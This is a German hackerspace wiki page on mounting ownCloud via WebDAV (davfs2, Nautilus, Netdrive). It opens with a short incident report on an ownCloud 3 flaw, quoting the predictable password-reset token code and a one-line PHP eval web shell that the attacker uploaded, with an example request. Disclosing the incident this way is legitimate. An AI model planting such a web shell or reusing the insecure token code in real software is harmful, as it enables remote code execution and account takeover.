HowTo:WebDAV: Unterschied zwischen den Versionen
Stp (Diskussion | Beiträge) K (Seetheprogress verschob Seite HowTo/WebDAV nach HowTo:WebDAV) |
(→Linux) |
||
Zeile 30: | Zeile 30: | ||
== Linux == | == Linux == | ||
+ | |||
+ | === owncloud-client === | ||
+ | |||
+ | Mittlerweile existiert ein [http://owncloud.org/sync-clients/ owncloud-client] der alle Synchronisationsaufgaben abnimmt. Falls man einen .htaccess vor der owncloud verwendet muss man in der owncloud-client config Datei die URL folgendermaßen anpassen: | ||
+ | |||
+ | http://username:password@cloud.example.com | ||
+ | |||
+ | === Verwendung via Dateimanager === | ||
+ | |||
Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene | Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene | ||
einbinden (mounten), oder dies einfach über den Dateimanager verwenden. | einbinden (mounten), oder dies einfach über den Dateimanager verwenden. | ||
Zeile 37: | Zeile 46: | ||
runterladen muss um diese öffnen zu können :-/ | runterladen muss um diese öffnen zu können :-/ | ||
− | |||
==== Nautilus (GNOME) ==== | ==== Nautilus (GNOME) ==== | ||
Bei Nautilus kann man einfach mit ''Datei->Verbindung zu Server...'' eine Verbindung | Bei Nautilus kann man einfach mit ''Datei->Verbindung zu Server...'' eine Verbindung |
Aktuelle Version vom 5. Mai 2014, 07:53 Uhr
Sicherheitslücke in ownCloud 3
Lost Password Function
In ownCloud 3 existierte eine Sicherheitslücke, weswegen wir die ownCloud abgeschalten haben. Durch diese Lücke wurde auf unsere VM eingebrochen, und das Wiki mit einem Pony-Bild ausgetauscht. Die Attacke wurde von einer Person auf der SIGINT in Köln ausgeführt.
Die Sicherheitslücke entstand durch eine unsichere "lostpassword"-Funktion, welche aus folgenden Code bestand:
$token = sha1($_POST['user']+uniqId());
Die Funktion uniqId() lieferte den momentanen Unix-Timestamp in hexadezimaler Form zurück. Da der Operator "+" verwendet wurde, wurden beide Strings als numerischer Wert interpretiert ("4A" wurde z.b. zu 4) (http://php.net/manual/en/language.types.type-juggling.php).
Dadurch wurde der Token leicht voraussagbar.
Code Execution
Nachdem der Angreifer zugriff auf das Konto des Users bekommen hat, konnte eine einfache PHP Datei mit folgendem Inhalt hochgeladen werden:
<?php eval( urldecode( $_REQUEST['text'] ) ); ?>
Durch einen Public-Link konnte so Code über das Request-Feld "text" übergeben werden.
Beispiel:
http://owncloud.hackerspace-bamberg.de/(url)?text=echo+%22Hallo+Welt%22
Owncloud WebDAV
Hier ne kleine Anleitung wie man ownCloud via WebDAV in das System einbindet, je nach Betriebssystem gibts es hierzu unterschiedliche Möglichkeiten.
Linux
owncloud-client
Mittlerweile existiert ein owncloud-client der alle Synchronisationsaufgaben abnimmt. Falls man einen .htaccess vor der owncloud verwendet muss man in der owncloud-client config Datei die URL folgendermaßen anpassen:
http://username:password@cloud.example.com
Verwendung via Dateimanager
Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene einbinden (mounten), oder dies einfach über den Dateimanager verwenden.
Der Nachteil vom Dateimanager ist das nicht alle Programme den jeweiligen Standard des Dateimanagers (GVFS oder KIO) unterstützen, und man so ggf. Dateien erst runterladen muss um diese öffnen zu können :-/
Nautilus (GNOME)
Bei Nautilus kann man einfach mit Datei->Verbindung zu Server... eine Verbindung zur ownCloud herstellen. Folgende Konfigurationsdaten sind hierfür erforderlich:
- Server: owncloud.hackerspace-bamberg.de
- Port: 443
- Typ: Sicheres WebDAV (HTTPS)
- Ordner: /files/webdav.php
Benutzername und Passwort darf/muss man das eigene Verwenden.
Man kann mit einem Rechten Mausklick in der Seiteleiste ein derart verwendetes Share einfach als Lesezeichen speichern und anschließen umbennen, so das man diese wahnsinnige Konfigurationsarbeit nur einmalig erledigen muss.
Konqueror / Dolphin (KDE)
Du hast den Job!
Einhängen ins Dateisystem
Installation
- ArchLinux
sudo pacman -S davfs2
- Debian/Ubuntu
sudo apt-get install davfs2
- Fedora
sudo yum install davfs2
Konfiguration
Bei den folgenden Schritten werden Beispieldaten verwendet.
- OwnCloud URL: https://owncloud.hackerspace-bamberg.de
- OwnCloud WebDav URL: https://owncloud.hackerspace-bamberg.de/files/webdav.php
- User: herpderp
- Passwort: derpina85
Alle genannten Daten müssen vor dem Konfigurieren an die eigenen angepasst werden.
- mount.davfs erzeugen/konfigurieren: [optional: gilt nur für Debian und seine Derivate]
sudo dpkg-reconfigure davfs2
Bei dem genannten Kommando wird konfiguriert ob normale User WebDav Verzeichnisse einbinden dürfen sollen. Das folgende HowTo geht davon aus das "Yes" / "Ja" gewählt wurde.
- OwnCloud Mountpoint erstellen (Verzeichnis in welches das WebDav Verzeichnis eingebunden wird):
mkdir ~/owncloud
- Mount in /etc/fstab hinzufügen:
sudo vi /etc/fstab
Folgende Zeile am Ende hinzufügen:
https://owncloud.hackerspace-bamberg.de/files/webdav.php /home/herpderp/owncloud davfs rw,user,noauto 0 0
- Zugangsdaten speichern:
mkdir ~/.davfs2 vi ~/.davfs2/secrets
Zugangsdaten in folgendem Format einfügen:
https://owncloud.hackerspace-bamberg.de/files/webdav.php herpderp derpina85
- Berechtigungen der Datei mit den Zugangsdaten so anpassen, dass nur der User (hier herpderp) die Datei lesen+bearbeiten kann:
chmod 600 ~/.davfs2/secrets
- Dein User muss Mitglied der Gruppe davfs2 sein
sudo usermod -a -G davfs2 herpderp
- OwnCloud einbinden:
mount ~/owncloud
Der letzte Befehl muss bei jedem Start des Computers neu ausgeführt werden um das WebDav Verzeichnis einzubinden. Um das zu automatisieren gibt es verschiedene Möglichkeiten: Achtung: Das einbinden von WebDav Verzeichnissen funktioniert nur bei bestehender Internetverbindung. Eine automatisierung wird daher nicht empfohlen!
echo "mount /home/herpderp/owncloud" >> /etc/rc.local echo "mount /home/herpderp/owncloud" >> ~/.bashrc
Windows
Es sollte mit dem nativen Windows WebDAV funktionieren, siehe WebDAV Win Native.
Unter Windows 7 64-Bit (eventuell auch andere) ist das aber nicht immer so, dann kann Netdrive helfen. Dafür folgende Schritte befolgen:
- Netdrive herunterladen, ist für Non-Commercial kostenlos
- Netdrive als Administrator installieren und starten
- In Netdrive eine neue Site anlegen (z.B. backspace)
- Site IP or URL: https://owncloud.hackerspace-bamberg.de/files/webdav.php
- Server Type: WebDav
- Advanced anklicken und Häckchen bei "HTTPS" setzen. Sollte das nicht da sein, nochmal abbrechen und backspace davor auswählen.
- Port auf 443 ändern
- Drive Letter vergeben
- Zugangsdaten eintragen
- "Save Password" und eventuell "Automatic login when system starts" anklicken
- Save klicken
- Connect klicken
Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive.
Bug: Shared Folder ist leer.